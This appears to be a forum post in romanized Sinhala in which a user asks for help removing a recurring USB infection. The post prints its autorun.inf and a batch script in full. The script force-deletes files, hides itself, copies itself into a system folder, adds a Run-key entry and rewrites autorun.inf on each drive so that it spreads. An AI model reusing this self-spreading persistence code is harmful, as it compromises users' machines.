Reply to thread

Message: <blockquote data-quote="supunpancha" data-source="post: 4580612" data-attributes="member: 149151">Menna mehema Virus ekak thiyenava Ain kara ganna baha, kaspersky valin scan kala ahu une naha, trojanremove eken remove kalath ayeth hadenava mokada karanne ... help me<img src="http://i44.tinypic.com/2v1ucfb.jpg" alt="" class="fr-fic fr-dii fr-draggable " style="" /><img src="http://i41.tinypic.com/2yjv72a.jpg" alt="" class="fr-fic fr-dii fr-draggable " style="" />autorun.inf eka[autorun]icon=%SystemRoot%\system32\SHELL32.dll,7open=AutoClean\shh.bataction=Virus Protection by Scarecrow(The Mick)shell\open\command=AutoClean\shh.batCombokill.bat  eka@echo offTITLE Virus Protection by Scarecrow(The Mick)REM v4.03REM 22 August 2008REM kills New.exe/Scvhost.exe (BlueStar); Autorunme.exe/LSASS.exe (Recycler); Start.exe/Lsas.exe;GOTO :CHECK0REM Check Functions:CHECK0IF EXIST "C:\WINDOWS\pchealth\AutoClean\Patch\update004.bat"  GOTO :UPDATESELFGOTO :CHECK1:CHECK1IF EXIST "C:\WINDOWS\System\lsas.exe" GOTO :LSASGOTO :CHECK2:CHECK2IF EXIST "C:\Documents and Settings\%username%\lsass.exe" GOTO :LSASSGOTO :CHECK3:CHECK3IF EXIST "C:\WINDOWS\Tasks\Scvhost.exe" GOTO :BLUESTARGOTO :CHECK4:CHECK4attrib -H -s -R "%~d0\*.*"IF EXIST "%~d0\RECYCLER" GOTO :AUTORUNMEGOTO :CHECK5:CHECK5IF EXIST "%~d0\New.exe" GOTO :NEWGOTO :CHECK6:CHECK6IF EXIST "%~d0\start.exe" GOTO :STARTGOTO :CHECK7:CHECK7IF NOT EXIST "C:\WINDOWS\pchealth\AutoClean\AutoProtect.vbs" GOTO <img src="/styles/default/xenforo/smilies/default/P.gif"  class="smilie" loading="lazy" alt=":P" title=":P    :P" data-shortname=":P" />ROTECTGOTO :CHECK8:CHECK8IF  NOT EXIST "C:\WINDOWS\pchealth\AutoClean\Patch\update003.bat" GOTO :UPDATEGOTO :ENDREM Execution Functions:UPDATESELFxcopy "C:\Windows\pchealth\AutoClean\Patch\update004.bat" "%~d0\AutoClean\Patch\" /s/c/q/y/h/r/k/iSTART /min "%~d0\AutoClean\Patch\update003.bat" /BGOTO :END1:LSAStaskkill /f /im lsas.exe /tattrib -R -s -H "C:\WINDOWS\System\lsas.exe" /S /Ddel /F /Q "C:\WINDOWS\System\lsas.exe"reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Logistics" /fGOTO :CHECK2:LSASStaskkill /f /FI "USERNAME eq %username%" /im lsass.exe /tattrib -R -s -H "C:\Documents and Settings\%username%\*.*" /S /DECHO attrib -R -s -H "C:\Documents and Settings\Administrator\*.*" /S /DECHO del /F "C:\Documents and Settings\Administrator\lsass.exe"del /F "C:\Documents and Settings\%username%\lsass.exe"reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "LSA Shellu" /fGOTO :CHECK3:BLUESTARtaskkill /f /im scvhost.exe /ttaskkill /f /im new.exe /tattrib -R -s -H "C:\WINDOWS\Tasks\*.*" /S /Dattrib -R -s -H "C:\WINDOWS\System\bs.pif"attrib -R -s -H "C:\New.exe"del /F /Q "C:\New.exe"del /F /Q "C:\Windows\Tasks\Scvhost.exe"del /F /Q "C:\WINDOWS\System\bs.pif"reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Load" /freg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar" /v "BackBitmapIE5" /freg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar" /v "BackBitmapShell" /fGOTO :CHECK4:AUTORUNMEattrib -R -s -H "%~d0\*.*" /S /Ddel /F /Q "%~d0\autorun.inf"del /F /Q "%~d0\RECYCLER\S-1-6-21-2434476501-1644491937-600003330-1213\Desktop.ini"del /F /Q "%~d0\RECYCLER\S-1-6-21-2434476501-1644491937-600003330-1213\Autorunme.exe"rmdir /S /Q "%~d0\RECYCLER\S-1-6-21-2434476501-1644491937-600003330-1213"rmdir /S /Q "%~d0\RECYCLER"GOTO :CHECK5:NEWattrib -R -s -H "%~d0\*.*" /S /Ddel /F /Q "%~d0\autorun.inf"del /F /Q "%~d0\New.exe"GOTO :CHECK6:STARTattrib -R -s -H "%~d0\*.*"del /F "%~d0\autorun.inf"del /F "%~d0\start.exe"GOTO :CHECK7<img src="/styles/default/xenforo/smilies/default/P.gif"  class="smilie" loading="lazy" alt=":P" title=":P    :P" data-shortname=":P" />ROTECTxcopy "%~d0\AutoClean\*.*" "C:\WINDOWS\pchealth\AutoClean\" /s/c/q/y/h/r/k/ireg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "AutoProtect" /d "C:\Windows\pchealth\AutoClean\AutoProtect.vbs" /fattrib +H +s +R "C:\windows\pchealth\AutoClean\*.*" /s /dattrib +H +s +R "C:\windows\pchealth\AutoClean" /s /dSTART /min C:\windows\pchealth\AutoClean\call.bat /BGOTO :END:UPDATEtaskkill /f /im wscript.exe /ttaskkill /f /im wscript.exe /tREM attrib -R -s -H "C:\Windows\pchealth\AutoClean\*.*" /s /dxcopy "%~d0\AutoClean\*.*" "C:\WINDOWS\pchealth\AutoClean\" /s/c/q/y/h/r/k/iattrib +R +s +H "C:\Windows\pchealth\AutoClean\*.*"attrib +R +s +H "C:\Windows\pchealth\AutoClean"attrib +R +s +H "C:\Windows\pchealth\AutoClean\Patch\*.*"attrib +R +s +H "C:\Windows\pchealth\AutoClean\Patch"START /min C:\windows\pchealth\AutoClean\call.bat /BGOTO :END:ENDxcopy "%~d0\AutoClean\autorun.inf" "%~d0\" /s/c/q/y/h/r/k/iattrib +H +s +R "%~d0\AutoClean\*.*"attrib +R +s +H "%~d0\AutoClean"attrib +R +s +H "%~d0\AutoClean\Patch\*.*"attrib +R +s +H "%~d0\AutoClean\Patch"attrib +H +s +R "%~d0\autorun.inf"attrib +H +s +R "%~d0\combokill.bat"call explorer.exe %~d0EXIT:END1call explorer.exe %~d0EXIThelp me...............<img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /><img src="/styles/default/xenforo/smilies/default/sad.gif"  class="smilie" loading="lazy" alt=":(" title="Sad    :(" data-shortname=":(" /></blockquote>

Verification: Nawa warak dahaya keeyada? (Namaya wadi kireema dahaya)

Top Bottom